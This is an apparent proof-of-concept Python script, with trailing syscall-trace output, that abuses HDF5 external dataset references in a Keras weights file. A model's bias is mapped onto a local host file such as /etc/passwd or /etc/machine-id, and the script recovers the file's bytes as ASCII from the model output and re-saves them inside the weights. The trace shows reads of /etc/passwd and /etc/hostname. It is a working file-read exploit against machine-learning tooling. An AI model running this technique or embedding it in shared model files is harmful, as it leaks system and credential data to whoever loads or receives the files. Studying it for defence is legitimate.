from __future__ import annotations
import os
from pathlib import Path
import numpy as np
import tensorflow as tf
import h5py
def choose_host_file() -> Path:
candidates = [
os.environ.get("KFLI_PATH"),
"/etc/machine-id",
"/etc/hostname",
"/proc/sys/kernel/hostname",
"/etc/passwd",
]
for candidate in candidates:
if not candidate:
continue
path = Path(candidate)
if path.exists() and path.is_file():
return path
raise FileNotFoundError("set KFLI_PATH to a readable file")
def build_model(units: int) -> tf.keras.Model:
model = tf.keras.Sequential([
tf.keras.layers.Input(shape=(1,), name="input"),
tf.keras.layers.Dense(units, activation=None, use_bias=True, name="dense"),
])
model(tf.zeros((1, 1))) # build weights
return model
def find_bias_dataset(h5file: h5py.File) -> str:
matches: list[str] = []
def visit(name: str, obj) -> None:
if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"):
matches.append(name)
h5file.visititems(visit)
if not matches:
raise RuntimeError("bias dataset not found")
return matches[0]
def rewrite_bias_external(path: Path, host_file: Path) -> tuple[int, int]:
with h5py.File(path, "r+") as h5file:
bias_path = find_bias_dataset(h5file)
parent = h5file[str(Path(bias_path).parent)]
dset_name = Path(bias_path).name
del parent[dset_name]
max_bytes = 128
size = host_file.stat().st_size
nbytes = min(size, max_bytes)
nbytes = (nbytes // 4) * 4 or 32 # multiple of 4 for float32 packing
units = max(1, nbytes // 4)
parent.create_dataset(
dset_name,
shape=(units,),
dtype="float32",
external=[(host_file.as_posix(), 0, nbytes)],
)
return units, nbytes
def floats_to_ascii(arr: np.ndarray) -> tuple[str, str]:
raw = np.ascontiguousarray(arr).view(np.uint8)
ascii_preview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore")
hex_preview = raw[:64].tobytes().hex()
return ascii_preview, hex_preview
def main() -> None:
host_file = choose_host_file()
model = build_model(units=32)
weights_path = Path("weights_demo.h5")
model.save_weights(weights_path.as_posix())
units, nbytes = rewrite_bias_external(weights_path, host_file)
print("secret_text_source", host_file)
print("units", units, "bytes_mapped", nbytes)
model.load_weights(weights_path.as_posix())
output = model.predict(tf.zeros((1, 1)), verbose=0)[0]
ascii_preview, hex_preview = floats_to_ascii(output)
print("recovered_ascii", ascii_preview)
print("recovered_hex64", hex_preview)
saved = Path("weights_demo_resaved.h5")
model.save_weights(saved.as_posix())
print("resaved_weights", saved.as_posix())
if __name__ == "__main__":
main()
openat(AT_FDCWD, "/etc/hosts", O_RDONLY|O_CLOEXEC) = 7
read(7, "127.0.0.1 localhost\n", 64) = 21
...
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 9
read(9, "root:x:0:0:root:/root:/bin/bash\n", 64) = 32
...
openat(AT_FDCWD, "/etc/hostname", O_RDONLY|O_CLOEXEC) = 8
read(8, "example-host\n", 64) = 13